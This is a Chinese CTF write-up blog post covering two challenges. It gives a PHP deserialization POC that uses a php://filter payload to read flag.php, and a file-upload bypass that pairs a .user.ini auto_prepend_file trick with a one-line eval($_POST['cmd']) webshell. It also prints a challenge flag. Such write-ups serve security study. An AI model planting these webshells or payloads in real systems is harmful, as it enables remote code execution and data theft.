CTF刷题之[网鼎杯 2020 青龙组]AreUSerialz和easyupload

文章介绍了如何利用PHP反序列化漏洞解题,详细分析了代码审计过程,包括类`FileHandler`的构造、`process()`、`write()`和`read()`方法。同时,文章展示了如何构造POC来读取`flag.php`的内容。此外,还讨论了另一个关于文件上传的题目,涉及文件后缀限制、文件头检测和`.user.ini`文件的利用,最终形成一句话木马实现远程命令执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

最近把php反序列化重新过了一边(之前不是太熟),然后顺手做了一道反序列化的题,再顺便也把做的一道新手题也写上,自己的总结,勿喷,上题

[网鼎杯 2020 青龙组]AreUSerialz

打开是代码,然后题目提示是反序列化,然后对代码进行审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    //定义变量
    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        //初始化
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
      //调用process()函数
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();//判断$op的值等于1,就调用下面的write()函数
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);//$op的值等于2,$res的值就等于下面read()函数的返回值,然后输出$res
        } else {
            $this->output("Bad Hacker!");//否则输出Bad Hacker!
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {//判断$filename和$content的值是否为空
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();//对content的长度进行判断,大于100的话就输出too long,然后die
            }
            $res = file_put_contents($this->filename, $this->content);//把content的内容写进filename里
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";//定义初始化
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//如果$filename的值不为空,就读取filename内容
        }
        return $res;//返回
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;//此函数就相当于输出函数
    }

    function __destruct() {
        if($this->op === "2")//对$op的值判断是否强等于“2”(字符串的2)
            $this->op = "1";//$op的值等于1
        $this->content = "";//content等空
        $this->process();//调用process()函数
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
  //此函数的功能就是对传进来的变量进行过滤,检查一下传进来的字符串里面有没有存在不可打印的字符
  //ord函数是打印第一个字符的ASCII码必须在32到125之间
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];//赋值
    if(is_valid($str)) {//过滤
        $obj = unserialize($str);//反序列化$str
    }

}

思路:

1.GET传进来的参数进行过滤,is_valid()检查一下传进来的字符串里面有没有存在不可打印的字符,然后进行反序列化,反序列化后这里反序列化后生成一个序列化对象,但是不触发任何函数,然后进程结束,序列化对象销毁,触发__destruct() ,对$op进行判断如果强等于“2”(字符串)则把op重置为“1”,content等空,再调用process()函数;


2.对process()函数分析后,如果$op的值等于1,就调用下面的write()函数;如果$op的值为2就调用调用read()函数; write函数实现一个文件写入的功能,read函数实现一个文件读取的功能


3.所以要选择进入read函数,所以在触发_destruct()时,不要让$op===“2”,这样$op就不等于1了,这样在调用process()函数时才进入read()函数, 在_destrcut()里$op===“2”,在process()函数里面是==“2”
数字2不强等于字符串2,但是数字2弱等于字符串2 ,所以让$op设置为2时绕过了让 op被重置了


4.这里是包含了flag.php,然后在read()函数里$res = file_get_contents($this->filename),这里可以借助php伪协议来读取flag.php的内容,然后返回输出

构造poc生成序列化字符串

<?php

class FileHandler{

     public $op=2;

     public $filename='php://filter/read=convert.base64-encode/resource=flag.php';

     public $content='';
  }

$A=new FileHandler();
echo (serialize($A));

?>
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:0:"";}

easyupload

打开题目,提示上传一个文件

经过手工测试,对文件名后缀有限制,只能上传gif、jpg、png,其他的php3、phtml等也都不行

然后试着文件后缀名大小写双写空格绕过都失败,所以文件名后缀这里下不去手了

制作一句话木马,但是文件后缀是jpg

抓包放到重放模块进行重放,返回Your file looks wicked,提示上传的文件不行

说明对文件头做了检测

那就换成上传图片马试试

正常jpg图片和一句话木马联合生成一个图片马

copy 图片.jpg/b+webshell.php/a shell.jpg

然后上传抓包重放看看效果,也是返回上传的文件有问题,说明对文件的内容做了检测

上传.htacess文件也被限制了

只能上传.user.ini文件绕过了

如:

在.user.ini文件中写入auto_prepend_file=1.jpg

然后在1.jpg中写入一个一句话木马

<?php @eval($_P0ST['cmd']); ?>

那么和.user.ini和1.jpg同一目录下的所有php文件都会包含1.jpg文件,也就是同目录的php文件里都有一句话木马

写个.user.ini文件,内容为

auto_prepend_file=1.jpg

然后上传抓包,修改content-type的值为image/jpeg放出去

上传成功,然后写个一句话木马,后缀名为1.jpg上传(试过代码里有”php“字符时会上传不上去,被限制了,所以这里的一句话木马用短标签,也就是”php“替换成=)

GIF89a
<?=
@eval($_POST['cmd']);
?>

蚁剑连接,查看flag

cyberpeace{c708d5c31a13f75848dcd72e6ef4a12f}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tacokings

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值